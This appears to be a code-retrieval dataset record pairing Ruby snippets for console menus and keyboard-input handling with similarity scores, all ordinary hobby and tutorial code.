"def menu\n puts '1) Promedio de notas'\n puts '2) Inasistencia alumnos'\n puts '3) Alumnos aprobados'\n puts '4) Salir'\nend",
"def main_menu(user_instance)\n user_greeting(user_instance)\n case help\n when \"1\", \"playlist\", \"playlists\"\n system(\"clear\")\n playlists_menu(user_instance)\n when \"2\", \"songs\", \"song\"\n system(\"clear\")\n songs_menu(user_instance)\n # when \"3\", \"artists\", \"artist\"\n # system(\"clear\")\n # artists_menu(user_instance)\n when \"exit\"\n system(\"clear\")\n goodbye\n exit\n else\n system(\"clear\")\n puts \"Please enter a valid command.\".colorize(:red).bold\n main_menu(user_instance)\n end\nend",
"def main_menu\n\t\tputs '################################'\n\t\tputs '######### Tic Tac Toe ##########'\n\t\tputs '################################'\n\t\tputs '================================'\n\t\tputs '== Choose your weapon warrior =='\n\t\tputs '================================'\n\t\tputs '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^'\n\t\tputs '^^^^^^ Type Your Choice: ^^^^^^^'\n\t\tputs '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^'\n\t\tputs '$$$$$$$$$$$ 1. \"X\" $$$$$$$$$$$$$'\n\t\tputs '$$$$$$$$$$$ 2. \"O\" $$$$$$$$$$$$$'\n\t\tputs '--------------------------------'\n\tend",
"def main_menu\n menu_options = [\"Start exploring\", \"Check Inventory\", \"Check Your Score\", \"Go to Pokemon Center\", \"Quit\"]\n menu_prompt = Interactivity.mainMenu \n \n if user.pokemon == nil\n menu_options.shift()\n menu_options.unshift(\"Choose a Pokemon and start exploring\")\n elsif self.user_current_location\n menu_options.shift()\n menu_options.unshift(\"Keep Exploring\")\n end\n \n choice = prompt.select(menu_prompt, menu_options) \n if choice == \"Start exploring\" || choice == \"Choose a Pokemon and start exploring\" || choice == \"Keep Exploring\"\n self.trainer_chooses_pokemon if user.pokemon == nil \n self.trainer_chooses_town\n self.exploring_town\n elsif choice == \"Check Inventory\"\n puts \"MANAGE INVENTORY - CHANGE POKEMONS AROUND\"\n elsif choice == \"Go to Pokemon Center\"\n self.pokemon_center\n elsif choice == \"Check Your Score\"\n puts \"CHECK YOUR SCORE\"\n else\n Interactivity.quit\n end\n end",
"def on_help(menu)\n end",
"def menu\n @menu ||= Interface::Menu.new(self)\n end",
"def show_main_menu\n puts \" Welcome to the app. What's next?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" list important - List all contacts\"\n puts \" show :id - Display contact details\"\n puts \" delete - Delete an entry\"\n puts \" find - Find an entry\"\n print \"> \"\n end",
"def menu\n puts \"\\n************************************************************\".colorize(:magenta).blink\n puts \"Select an option (1-5) from the menu below:\".colorize(:blue).bold\n puts \"------------------------------------------------------------\".colorize(:cyan)\n puts \"1. Don't want to think about what to cook? \\n Spin the RANDOM WHEEL OF RECIPES!\".colorize(:blue)\n puts \"------------------------------------------------------------\".colorize(:cyan)\n puts \"2. Need some inspiration for cooking? \\n Find recipe by name OR \\n if you have leftover ingredients search your ingredients!\".colorize(:blue)\n puts \"------------------------------------------------------------\".colorize(:cyan)\n puts \"3. Feeling creative? \\n Write and save your own recipe!\".colorize(:blue)\n puts \"------------------------------------------------------------\".colorize(:cyan)\n puts \"4. View ALL your favorite recipes in 1 place!\".colorize(:blue)\n puts \"------------------------------------------------------------\".colorize(:cyan)\n puts \"5. You're done? Time to exit...\".colorize(:blue)\n puts \"************************************************************\\n \".colorize(:magenta).blink\n end",
"def show_main_menu\n puts \"Welcome to Contacts APP, What's next?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" show - Enter ID to show detail of a contact\"\n puts \" find - Find contacts by name\"\n puts \" add - Add phone numbers\"\n puts \" save - Save contact to CSV file\"\n puts \" quit - Save & Exit Application\"\n print \"> \"\n end",
"def addMenu _obj, _args\n \"_obj addMenu _args;\" \n end",
"def case_menu(selection)\n case selection\n when 'Playlist'\n @playlist.menu\n when 'Account Details'\n account_details\n when 'Exit'\n p \"Is this exiting?\"\n end\n end",
"def movie_menu\n movie = Menu.new(\"What would you like to do with movies?\")\n movie.add_menu_item({key_user_returns: 1, user_message: \"Create a movie.\", do_if_chosen: [\"create_movie\"]})\n movie.add_menu_item({key_user_returns: 2, user_message: \"Update a movie.\", do_if_chosen: [\"update_object\", Movie, \"movie_menu\"]})\n movie.add_menu_item({key_user_returns: 3, user_message: \"Show me movies.\", do_if_chosen: [\"show_object\", Movie, \"movie_menu\"]})\n movie.add_menu_item({key_user_returns: 4, user_message: \"Delete a movie.\", do_if_chosen: [\"delete_object\", Movie, \"movie_menu\"]})\n movie.add_menu_item({key_user_returns: 5, user_message: \"Return to main menu.\", do_if_chosen: \n [\"main_menu\"]})\n run_menu_and_call_next(movie)\n end",
"def show_main_menu\n puts \"Welcome to Contacts APP, What's next?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" update - Enter ID to update a contact\"\n puts \" show - Enter ID to show detail of a contact\"\n puts \" find - Find contacts by name\"\n puts \" save - Save contact to CSV file\"\n puts \" quit - Save & Exit Application\"\n print \"> \"\n end",
"def type\n \"mymenu\"\n end",
"def return_to_menu(input)\n if input.downcase == \"menu\"\n menu_items\n end\nend",
"def menu_options\n system \"clear\"\n puts \"~~~ Welcome #{@user.username} to the Main Menu ~~~\\n\\n\" \n puts \"{1} Continue from previous story \"\n puts \"{2} Create new story\"\n puts \"{3} Delete a story\"\n puts \"{4} Tutorial\"\n puts \"{5} End My Session\"\nend",
"def menu ()\n menu_string = \"1. Show Menu\\n\"\n menu_string += \"2. Add Numbers\\n\"\n menu_string += \"3. Subtract Numbers\\n\"\n menu_string += \"4. Quit\\n\"\n return menu_string\nend",
"def menu\n system('clear')\n selection = @prompt.select('》 PLAYLIST 《', ['Display', 'Add', 'Remove', 'Export To File', 'Back'])\n case selection\n when 'Display'\n list\n else\n case_menu(selection)\n end\n end",
"def main_menu\n puts \"---------------Animal shelter 4.5A-----------\"\n puts\n puts \"[1] List clients\"\n puts \"[2] List animals for adoption\"\n puts \"[3] Add a new client\"\n puts \"[4] Add a new animal\"\n puts\n puts\n puts \"[5] exit\"\n puts \"---------------------------------------------\"\nend",
"def show_main_menu\n puts \"Welcome to the app. What's next?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" show id - Show info for contact id number\"\n puts \" quit - Exit Application\"\n print \"> \"\n end",
"def sub_menu(choise)\n case choise\n when '1'\n make_route\n when '2'\n make_station\n when '3'\n make_train\n when '4'\n list_routes\n when '5'\n list_stations\n when '6'\n list_trains\n when '7'\n list_station_trains\n when '8'\n attach_station\n when '9'\n dettach_station\n when '10'\n attach_train\n when '11'\n attach_wagon\n when '12'\n dettach_wagon\n when '13'\n list_train_wagons\n when '14'\n occupy_train_wagon\n when '15'\n move_train\n else\n puts \"Введено некорректное значение меню\\n\\n\"\n end\n end",
"def toggle_menu menu_text=nil\n unless menu_text\n h = { \n # :h => :toggle_hidden, \n :c => :toggle_case, :l => :toggle_long_list , \"1\" => :toggle_columns, \n :g => :use_gui_browser, :t => :use_text_browser}\n ch, menu_text = menu \"Toggle Menu\", h\n end\n case menu_text\n when :toggle_hidden\n $hidden = $hidden ? nil : \"D\"\n refresh\n when :toggle_case\n #$ignorecase = $ignorecase ? \"\" : \"i\"\n $ignorecase = !$ignorecase\n refresh\n when :toggle_columns\n $gviscols = 3 if $gviscols == 1\n $long_listing = false if $gviscols > 1 \n x = $grows * $gviscols\n $pagesize = $pagesize==x ? $grows : x\n when :use_gui_browser\n $open_command = $browser_gui || \"open\"\n when :use_text_browser \n $open_command = $browser_text || \"elinks\"\n\n when :toggle_long_list\n $long_listing = !$long_listing\n if $long_listing\n $gviscols = 1\n $pagesize = $grows\n else\n x = $grows * $gviscols\n $pagesize = $pagesize==x ? $grows : x\n end\n refresh\n end\nend",
"def menu(context={})\n \n app = context[:app]\n\n menu_items = [ \n ] \n \n end",
"def menu(context={})\n \n app = context[:app]\n\n menu_items = [ \n ] \n \n end",
"def theatre_menu\n theatre = Menu.new(\"What would you like to do with theatres?\")\n theatre.add_menu_item({key_user_returns: 1, user_message: \"Create a theatre.\", do_if_chosen: [\"create_theatre\"]})\n theatre.add_menu_item({key_user_returns: 2, user_message: \"Update a theatre.\", do_if_chosen: [\"update_object\", Location, \"theatre_menu\"]})\n theatre.add_menu_item({key_user_returns: 3, user_message: \"Show me theatres.\", do_if_chosen: [\"show_object\", Location, \"theatre_menu\"]})\n theatre.add_menu_item({key_user_returns: 4, user_message: \"Delete a theatre.\", do_if_chosen: [\"delete_object\", Location, \"theatre_menu\"]})\n theatre.add_menu_item({key_user_returns: 5, user_message: \"Return to main menu.\", do_if_chosen: \n [\"main_menu\"]})\n run_menu_and_call_next(theatre)\n end",
"def call_menu\n call_idle($game_player.old_character_name, false)\n syn_map_menu\n end",
"def command_line_menu\n\tputs \"--- Command Line Menu ---\"\n\tputs \"1: mv\"\n\tputs \"2: cp\"\n\tputs \"3: mkdir\"\n\tputs \"4: ls\"\n\tputs \"5: rm\"\n\tputs \"6: Main Menu\"\n\tuser_input_command_line_menu\nend",
"def main_menu\n puts \"(b) - basic calculator\"\n puts \"(a) - advanced calculator\"\n puts \"(q) - quit\"\nend",
"def main_menu\n puts \"(b) - basic calculator\"\n puts \"(a) - advanced calculator\"\n puts \"(q) - quit\"\nend",
"def main_menu\n @active = 0\n @prompt.select(\"\\nWhat would you like to do?\\n\".blue) do |menu|\n menu.choice \"Check out what's on today\", -> {today_menu} \n menu.choice \"Check out things to do on the weekend\", -> {weekend_menu}\n menu.choice \"Look at my favourites\", -> {display_favorites}\n menu.choice \"Exit\".red, -> {leave_app} \n end \n end",
"def menu_router\n selection = display_menu\n case selection\n when 'My List'\n my_list\n when 'Recommendations'\n recommendations_menu\n else\n case_menu(selection)\n end\n end",
"def define_menu_items\n add_menu_item(\"File storage.\", 1)\n add_menu_item(\"Sqlite3.\", 2)\n end",
"def sub_menu\n puts \"\\n***********************************************\".colorize(:magenta).blink\n puts \"Type the following letters to do...\".colorize(:blue)\n puts \"-----------------------------------------------\".colorize(:cyan).bold\n puts \"s = Save Recipe to My Favorites\".colorize(:blue)\n puts \"r = Rate Recipe\".colorize(:blue)\n puts \"a = See Average Recipe Rating\".colorize(:blue)\n puts \"o = Open Link to See the Steps for This Recipe\".colorize(:blue)\n puts \"m = Back to Main Menu\".colorize(:blue)\n puts \"***********************************************\\n \".colorize(:magenta).blink\n end",
"def options_menu(noteboard)\n @start_prompt = TTY::Prompt.new\n @start_prompt.select(\"What do you want to do now?\") do |menu|\n menu.choice \"Load existing noteboards\", -> {noteboard_menu}\n menu.choice \"Add new note\", -> {Noteboard.noteboard_add(add_note)}\n menu.choice \"Delete note\", -> {Noteboard.noteboard_delete(delete_note)}\n menu.choice \"Back\", -> {StartMenu.new}\n end\nend",
"def printMenu\n\t\tself.report(\"\n\t\tEscolha uma opção\n\t\t1 - Trocar palavra-chave.\n\t\t2 - Ver palavra-chave.\n\t\t3 - Ver arquivo.\n\t\t4 - Sair.\n\t\t? \", 1)\t\t\n\tend",
"def show_main_menu\n puts \"\\e[H\\e[2J\"\n puts \"Welcome to the app. What's next?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" quit - Exit Application\"\n print \"> \"\n end",
"def main_menu\n \"Welcome to BATTLESHIP\\nEnter p to play or q to quit\"\n end",
"def showCommandingMenu _args\n \"showCommandingMenu _args;\" \n end",
"def init_menu\n @menus.set_selected(\"about\")\n end",
"def main_menu_options\n a = Artii::Base.new #display main title greeting\n a.asciify('Menu')\n puts a.asciify('Menu').colorize(:blue)\n\n puts \"\"\n puts \"1. Search movies.\"\n puts \"2. View your list.\"\n puts \"\"\n puts \"Please input the number corresponding to your choice.\"\n input = gets.chomp #todo Check to see if you can break this\n system \"clear\"\n if input == '1'\n puts \"Let's look at some movies.\"\n movie_search #send user to the movie search screen\n elsif input == '2'\n display_movie_list_and_movie_list_options #send movie to the movie list screen\n else\n \"Please select a valid option\"\n main_menu_options #call the method again\n end\n end",
"def main_menu()\n system 'clear'\n loop do\n headline(\"My Petsitter App\")\n puts \"#{@emoji[:smiling_cat_face_with_open_mouth]} Welcome! #{@emoji[:dog_face]}\".colorize(:bold)\n puts @headline\n input = @prompt.select('Menu:') do |menu|\n menu.choice name: 'Pet Sitters', value: \"PET_SITTERS\"\n menu.choice name: 'Clients', value: \"CLIENTS\"\n menu.choice name: 'Jobs', value: \"JOBS\"\n menu.choice name: 'Logout', value: \"EXIT\"\n end\n puts '-' * 20\n go_to(input)\n end\n end",
"def menu\n puts \"------Calculator----\"\n puts \"Welcome to the calculator!\"\n puts \"Please select an option:\"\n puts \"\\t1) Enter numbers and modifier\"\n puts \"\\t2) Enter a string input\"\n puts \"\\t3) View the calculations you have preformed\"\n puts \"\\t4) Exit\"\n main_menu\n end"
] | [
"0.85106057",
"0.80342966",
"0.79684204",
"0.7736846",
"0.76986676",
"0.76707274",
"0.75754595",
"0.7544706",
"0.75357604",
"0.7455136",
"0.7444458",
"0.7373616",
"0.7258586",
"0.7244813",
"0.7238225",
"0.72113997",
"0.7185374",
"0.7162685",
"0.71505374",
"0.71400434",
"0.71374685",
"0.7133646",
"0.71279025",
"0.7116317",
"0.7080852",
"0.7077731",
"0.7076717",
"0.7029238",
"0.70002615",
"0.6971402",
"0.69684035",
"0.6967981",
"0.696215",
"0.6958481",
"0.6949003",
"0.69394755",
"0.69172513",
"0.69100964",
"0.6908369",
"0.6904043",
"0.6894877",
"0.68941045",
"0.68933946",
"0.68906194",
"0.6887908",
"0.68765664",
"0.68710965",
"0.68630904",
"0.6862593",
"0.6857133",
"0.68556887",
"0.68502706",
"0.6839458",
"0.68335915",
"0.6830463",
"0.68209463",
"0.68204015",
"0.68188894",
"0.681497",
"0.6814006",
"0.68084973",
"0.68066484",
"0.68032855",
"0.6793537",
"0.67753613",
"0.6774139",
"0.67733866",
"0.67668337",
"0.674875",
"0.6743813",
"0.6739599",
"0.67298114",
"0.6729226",
"0.67269796",
"0.6717633",
"0.6709252",
"0.66975015",
"0.66923267",
"0.6689323",
"0.66827387",
"0.6682567",
"0.6680826",
"0.6680826",
"0.6671675",
"0.66678",
"0.66608953",
"0.6659351",
"0.6659351",
"0.66528255",
"0.6642713",
"0.66406965",
"0.66362727",
"0.6633558",
"0.6622635",
"0.6621857",
"0.66152865",
"0.66132414",
"0.66080695",
"0.6600172",
"0.65898436",
"0.6584686"
] | 0.0 | -1 |
this method will be run when the user presses a key on the keyboard | def charPressedInMenu
char = pressKey
case (char)
when "p"
#load level of choice
loadArray
#displayArray
displayArray
when "q"
#stop game
exit
when "c"
#request level
selectLevel
else
menuScreen
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def on_key(ch)\n end",
"def handle_key ch\n super\n end",
"def press_any_key\n # TODO: Print footer.\n get_wch\n end",
"def update\n\t\tupdate_keypress\n\tend",
"def key_press *args\n\t\t\tevent(:key_press, *args)\n\t\tend",
"def onKeyDown( *args )\r\n capture = relay_event( :onKeyDown, args )\r\n relay_event( :onSetCursor, [] )\r\n capture\r\n end",
"def key_pressed( event )\n @keys += [event.key]\n end",
"def keypress &block\n @keyblock = block\n end",
"def handle(key)\n case key\n when :left, :right, :space, :one, :two, :three, :four, :five, :six, :seven, :eight, :nine\n @player_controller.events.trigger(:key, key)\n when :down, :up, :enter, :u, :f, :s, :j, :k, :m, :h, :o\n @track_controller.events.trigger(:key, key)\n end\n end",
"def on_keypress &b\n on :keypress, &b\n end",
"def process_keyboard\n ACCEPTED_KEYS.each {|key|\n if Input.repeat?(key[0])\n c = (key[0] != :kSPACE) ? Keyboard.add_char(Ascii::SYM[key[0]]) : \" \"\n process_add(c)\n #Sound.play_ok\n play_random_key_sound\n end\n }\n end",
"def on_key_typed(key)\n case key\n when GLFW_KEY_R\n puts 'Reset camera zoom and rotation'\n set_default_camera_zoom_and_rotation\n when GLFW_KEY_Q\n puts 'Quitting...'\n exit\n end\n end",
"def handle(key)\n case key\n when :left, :right, :space, :s\n @player_controller.events.trigger(:key, key)\n when :down, :up, :enter, :u\n @track_controller.events.trigger(:key, key)\n end\n end",
"def getch\n map_key(key_press)\n end",
"def key(k, x, y)\n case k\n when 27 # Escape\n exit\n end\n GLUT.PostRedisplay()\n end",
"def getch\n\n end",
"def on_key_pressed(event)\n\n # Enter key\n if (event.keyval == Gdk::Keyval::GDK_Return)\n catch_text()\n\n # Backspace key\n elsif (event.keyval == Gdk::Keyval::GDK_BackSpace)\n iter = @buffer.end_iter\n if iter.offset == @@offset\n return true\n else\n return false\n end\n\n # Delete key\n elsif (event.keyval == Gdk::Keyval::GDK_Delete)\n iter = @buffer.end_iter\n if iter.offset == @@offset\n return true\n else\n return false\n end\n\n # Previous command\n elsif (event.keyval == Gdk::Keyval::GDK_Up)\n cmd = @historic.prev(current_line())\n replace(cmd)\n return true\n\n # Next command\n elsif (event.keyval == Gdk::Keyval::GDK_Down)\n cmd = @historic.next(current_line())\n replace(cmd)\n return true\n end\n\n end",
"def handle_key ch\n if ch == 32\n toggle\n else\n super\n end\n end",
"def _handle_key ch\n begin\n ret = process_key ch, self\n $multiplier = 0\n bounds_check\n rescue => err\n $log.error \" TEXTPAD ERROR _handle_key #{err} \"\n $log.debug(err.backtrace.join(\"\\n\"))\n alert \"#{err}\"\n #textdialog [\"Error in TextPad: #{err} \", *err.backtrace], :title => \"Exception\"\n ensure\n padrefresh\n Ncurses::Panel.update_panels\n end\n return 0\n end",
"def press(key_sequence)\n end",
"def key_down key\n @keys.push key\n end",
"def any_key\n puts \"\"\n puts \"Press any key to continue..\"\n STDIN.getch\n end",
"def handle_keys\n exit if SDL::Key.press? SDL::Key::ESCAPE\n exit if SDL::Key.press? SDL::Key::Q\n self.paused = !paused if SDL::Key.press? SDL::Key::P\n end",
"def key_pressed(event)\n case event.key\n when :left\n update_position :left\n when :right\n update_position :right\n when :up\n update_position :up\n when :down\n update_position :down\n when :space\n build_ladder\n end\n end",
"def on_char(evt)\n ch = evt.get_key_code\n mflag = evt.modifiers\n\n case ch\n when Wx::K_RIGHT : move_cursor_right(evt.shift_down)\n when Wx::K_LEFT : move_cursor_left(evt.shift_down)\n when Wx::K_DOWN : move_cursor_down(evt.shift_down)\n when Wx::K_UP : move_cursor_up(evt.shift_down)\n when Wx::K_BACK : on_key_back(evt)\n when Wx::K_DELETE : on_key_delete(evt)\n when Wx::K_TAB : on_key_tab(evt)\n when (mflag == Wx::MOD_CMD and ?a) # select all\n do_select_all\n when (mflag == Wx::MOD_CMD and ?c) # copy\n do_clipboard_copy\n when (mflag == Wx::MOD_CMD and ?x) # cut\n do_clipboard_cut\n when (mflag == Wx::MOD_CMD and ?v) # paste\n do_clipboard_paste\n when ((mflag == Wx::MOD_NONE or mflag == Wx::MOD_SHIFT) and 0x20..0x7e)\n if @cursor.area\n # redirect regular typing to on_char_AREANAME\n return self.send(\"on_char_#{AREAS[@cursor.area]}\", evt)\n end\n else # everything else is for dynamically handling key combo handlers\n m = []\n m << 'alt' if (mflag & Wx::MOD_ALT) != 0\n m << 'cmd' if (mflag & Wx::MOD_CMD) != 0\n m << 'shift' if (mflag & Wx::MOD_SHIFT) != 0\n mods = (m.empty?)? \"\" : \"_\" + m.join('_')\n\n ch = evt.get_key_code\n hex = ch.to_s(16).rjust(2,'0')\n meth=nil\n\n if (n=resolve_key_code(ch)) and respond_to?(\"on_key#{mods}_#{n}\")\n meth=\"on_key#{mods}_#{n}\"\n elsif respond_to?(\"on_key#{mods}_0x#{hex}\")\n meth=\"on_key#{mods}_#{hex}\"\n end\n\n if meth and ret=self.send(meth, evt)\n return ret\n else\n evt.skip()\n end\n end\n end",
"def pressKeyToContinue\n puts \"\\n-- press any key to continue --\"\n gets\nend",
"def handle_key ch\n case ch\n when KEY_DOWN\n # form will not do a next_field, it will ignore this\n return :NO_NEXT_FIELD\n when KEY_RIGHT\n @form.select_next_field\n when KEY_LEFT\n @form.select_prev_field\n when KEY_ENTER, 10, 13, 32 # added space bar also\n if respond_to? :fire\n fire\n end\n else\n # all thrse will be re-evaluated by form\n return :UNHANDLED\n end\n end",
"def on_key(&block)\n @on_key = block\n end",
"def key_pressed?(key)\n SDL::Key.press?(key)\n end",
"def handle_key_press(key)\n case @scene\n when 'intro'\n handle_intro_key_press(key)\n when 'level'\n handle_level_key_press(key)\n when 'transition'\n when 'credits'\n end\n end",
"def key_press\n x = $stdin.getch\n x += handle_esc if x == \"\\e\"\n\n x\nend",
"def keypress(key = nil, name = nil)\n Vedeu.trigger(:key, key)\n\n return false unless key\n\n new(key, name).keypress\n end",
"def handle_key ch\n $log.debug \"inside handle key of field with #{ch}\"\n @repaint_required = true \n case ch\n when 32..126\n putc ch\n when 27 # cannot bind it, so hardcoding it here\n restore_original_value\n else\n ret = super\n return ret\n end\n 0 # 2008-12-16 23:05 without this -1 was going back so no repaint\n end",
"def keypress_on(element, key)\r\n element.native.send_key(key)\r\n end",
"def keyevent(key, metastate = nil)\n @bridge.keyevent(key, metastate)\n end",
"def keypress_handler(scancode)\n i = scancode & 0x7f\n x = SCREEN_W() - 100 * 3 + (i % 3) * 100\n y = SCREEN_H() / 2 + (i / 3 - 21) * 10\n color = scancode & 0x80 != 0 ? makecol(255, 255, 0) : makecol(128, 0, 0)\n rectfill(screen, x, y, x + 95, y + 8, color)\n str = ustrzncpy(scancode_to_name(i), 12)\n textprintf_ex(screen, font, x + 1, y + 1, makecol(0, 0, 0), -1, str)\nend",
"def while_key_up *args\n\t\t\tevent(:while_key_up, *args)\n\t\tend",
"def show_single_key\n c = read_char\n\n case c\n when \" \"\n pickUpItem()\n when \"i\"\n showInventory\n when \"m\"\n showMap\n when \"v\"\n inspectSurroundings\n puts \"working\"\n when \"q\"\n system ('clear && printf \"\\e[3J\"') or system (\"cls\")\n exit 0\n when \"k\"\n gameOver\n when \"\\e[A\"\n move(c)\n when \"\\e[B\"\n move(c)\n when \"\\e[C\"\n move(c)\n when \"\\e[D\"\n move(c)\n when \"\\u0003\"\n puts \"CONTROL-C\"\n exit 0\n end\nend",
"def keyboard_send_keyevent(keyevent)\r\n adb_exec(\"shell input keyevent #{keyevent}\")\r\nend",
"def onKeyLongPress(keyCode, event) \n if @input.feed_key_event_up(keyCode)\n return true\n else\n return super keyCode, event\n end\n end",
"def move_for_keypress(keypress); nil; end",
"def control_key_up\r\n command 'controlKeyUp'\r\n end",
"def show_single_key\n system(\"clear\")\n board.render\n\n c = read_char\n\n case c\n when \"\\e[A\"\n # puts \"UP ARROW\"\n board.selected_pos[0] -= 1 unless board.selected_pos[0] < 1\n when \"\\e[B\"\n board.selected_pos[0] += 1 unless board.selected_pos[0] > 7\n # puts \"DOWN ARROW\"\n when \"\\e[C\"\n board.selected_pos[1] += 1 unless board.selected_pos[1] > 7\n # puts \"RIGHT ARROW\"\n when \"\\e[D\"\n board.selected_pos[1] -= 1 unless board.selected_pos[1] < 1\n # puts \"LEFT ARROW\"\n when \"r\"\n make_move(board.selected_pos,\"r\")\n when \"f\"\n make_move(board.selected_pos,\"f\")\n when \"s\"\n save?\n end\n end",
"def button_down(key)\n end",
"def key_up(key)\n focus\n @driver.sc_key_up action_target, key, *action_locator_args\n stall :key_up\n end",
"def keypress\n $prompt.keypress(\"Press space or enter to continue\", keys: [:space, :return])\nend",
"def add_key_event_listener\n # Get the class of the object.\n @activity.class.class_eval do\n \n attr_accessor :input\n \n def on_destroy\n super\n #Release audio resources\n Song.release_resources \n end\n \n def onKeyDown(keyCode, event) \n if @input.feed_key_event_down(keyCode)\n return true\n else\n return super keyCode, event\n end\n end\n \n def onKeyUp(keyCode, event) \n if @input.feed_key_event_up(keyCode)\n return true\n else\n return super keyCode, event\n end\n end\n\n #TODO It does never get called, it does not matter how long\n #the press was\n def onKeyLongPress(keyCode, event) \n if @input.feed_key_event_up(keyCode)\n return true\n else\n return super keyCode, event\n end\n end\n \n end\n end",
"def keypress\n Vedeu::Input::Translator.translate(input)\n end",
"def key(k, x, y)\n case k\n when ?z\n @view_rotz += 5.0\n when ?Z\n @view_rotz -= 5.0\n when 27 # Escape\n exit\n end\n glutPostRedisplay()\n end",
"def key(k, x, y)\n case k\n when ?z\n @view_rotz += 5.0\n when ?Z\n @view_rotz -= 5.0\n when 27 # Escape\n exit\n end\n glutPostRedisplay()\n end",
"def keypress\n key = input\n\n @keypress ||= Vedeu::Input::Translator.translate(key)\n end",
"def pressed?() sdl_event.press end",
"def handle_key(ch)\n @current_index ||= 0\n # added 2009-01-18 22:44 no point moving horiz or passing up to Field if not edit\n if !@editable\n if ch == KEY_LEFT or ch == KEY_RIGHT\n return :UNHANDLED\n end\n end\n case ch\n #when KEY_UP # show previous value\n # previous_row\n #when KEY_DOWN # show previous value\n # next_row\n # adding spacebar to popup combo, as in microemacs 2010-10-01 13:21 \n when 32, KEY_DOWN+ RubyCurses::META_KEY # alt down\n popup # pop up the popup\n else\n super\n end\n end",
"def char_press\n begin\n system('stty raw -echo') # turn raw input on\n input = $stdin.getc if $stdin.ready?\n input.chr if input\n ensure\n system('stty -raw echo') # turn raw input off\n end\n end",
"def key_listen\n Thread.new do\n loop do \n block = @key_bindings[get_character]\n puts block.call if block\n end\n end\n end",
"def keypress\n return false unless key\n\n return true if key_defined? && keymap.use(key)\n\n return true if global_key? && keymap('_global_').use(key)\n\n Vedeu.log(type: :input, message: \"Key detected: #{key.inspect}\".freeze)\n\n false\n end",
"def setup_input\n set_keys(KbEscape => :close,\n KbF1 => [:toggle_text, false],\n KbF2 => [:debug!, false],\n KbF3 => [:pause!, false])\n end",
"def read\n @window.getch\n end",
"def key_up(*args, device: T.unsafe(nil)); end",
"def key_pressed?\n @declared_fields['keyPressed'].value(java_self)\n end",
"def press_key(letter)\n advance_rotors\n @plugboard.translate(letter)\n end",
"def keypress(key)\n puts \"Got key: #{key} (#{key.class})\"\n if key.is_a?(String)\n if key.length == 1\n # Assume letter\n @vnc.keyevent(key.chr, true)\n @vnc.keyevent(key.chr, false)\n else\n # Assume keysym\n puts \"I don't know how to type '#{key}'\"\n return { :action => \"status\", :status => \"I don't know how to type '#{key}'\" }\n end\n else\n # type printables, key others.\n if 32.upto(127).include?(key)\n @vnc.keyevent(key, true)\n @vnc.keyevent(key, false)\n else\n case key\n when 8 \n @vnc.keyevent(0xff08, true)\n @vnc.keyevent(0xff08, false)\n when 13\n @vnc.keyevent(0xff0D, true)\n @vnc.keyevent(0xff0D, false)\n else\n puts \"I don't know how to type web keycode '#{key}'\"\n return { :action => \"status\", :status => \"I don't know how to type '#{key}'\" }\n end # case key\n end # if 32.upto(127).include?(key)\n end # if key.is_a?String\n return nil\n end",
"def keypress\n begin\n _call = direction\n if _call.present?\n _call.keypress(params) if defined?(_call.keypress)\n end\n rescue => e\n logger.error e.message\n logger.error e.backtrace.join(\"\\n\")\n end\n render :plain => '', content_type: \"text/html\", :status => 200\n end",
"def control_key_down\r\n command 'controlKeyDown'\r\n end",
"def getch\n @window.getch\n end",
"def keyDown(the_event)\n\n\t\tcharacters = the_event.characters\n\n\t\tif characters.length > 0 then\n\t\t\tfirst_character = characters[0]\n\t\t\tcase first_character\n\t\t\twhen 'h'\t\t# toggle help\n\t\t\t\t@draw_help_flag\t= !@draw_help_flag\n\t\t\t\tsetNeedsDisplay true\n\n\t\t\twhen 'c'\t\t# toggle caps\n\t\t\t\t@draw_capacities_flag\t= !@draw_capacities_flag\n\t\t\t\tsetNeedsDisplay true\n\n\t\t\tend\n\t\tend\n\n\tend",
"def process_redio_keyboard_input(key)\n case key\n when :enter then @redio_loop = false\n when /\\d/ then print_redio(key.to_s)\n when :tab, :down, :left, :space then print_redio(@redio_res.succ)\n when :up, :right then print_redio(@redio_res.pred)\n end\n end",
"def alt_key_up\r\n command 'altKeyUp'\r\n end",
"def keyPressEvent(p_event)\n\n\t\t\t# Execute the block only once\n\t\t\tif @initial_input_ready\n\t\t\t\n\t\t\t\t# Reset flag, assures single execution\n\t\t\t\t@initial_input_ready = false\n\t\t\t\t\n\t\t\t\t# Get focus, reset to normal state\n\t\t\t\tself.setFocus\n\t\t\t\tdo_reset\n\t\t\tend\n\t\t\t\n\t\t\t# Bubble back to parent\n\t\t\tsuper(p_event)\n\t\tend",
"def getch\n scan(/./m)\n end",
"def getchar\n getch\n end",
"def handle_key(ch)\n # 2014-08-19 - 21:10 moving to init, so that user may override or remove\n #map_keys unless @keys_mapped\n handled = :UNHANDLED # 2011-10-4 \n if ch == ?\\C-u.getbyte(0)\n ret = universal_argument\n $log.debug \"C-u FORM set MULT to #{$multiplier}, ret = #{ret} \"\n return 0 if ret == 0\n ch = ret # unhandled char\n elsif ch >= ?\\M-1.getbyte(0) && ch <= ?\\M-9.getbyte(0)\n if $catch_alt_digits # emacs EMACS\n ret = digit_argument ch\n $log.debug \" FORM set MULT DA to #{$multiplier}, ret = #{ret} \"\n return 0 if ret == 0 # don't see this happening\n ch = ret # unhandled char\n end\n end\n\n $current_key = ch\n case ch\n when -1\n return\n when 1000, 12\n # NOTE this works if widgets cover entire screen like text areas and lists but not in \n # dialogs where there is blank space. only widgets are painted.\n # testing out 12 is C-l\n $log.debug \" form REFRESH_ALL repaint_all HK #{ch} #{self}, #{@name} \"\n repaint_all_widgets\n return\n when FFI::NCurses::KEY_RESIZE # SIGWINCH \n # note that in windows that have dialogs or text painted on window such as title or \n # box, the clear call will clear it out. these are not redrawn.\n lines = Ncurses.LINES\n cols = Ncurses.COLS\n x = Ncurses.stdscr.getmaxy\n y = Ncurses.stdscr.getmaxx\n $log.debug \" form RESIZE HK #{ch} #{self}, #{@name}, #{ch}, x #{x} y #{y} lines #{lines} , cols: #{cols} \"\n #alert 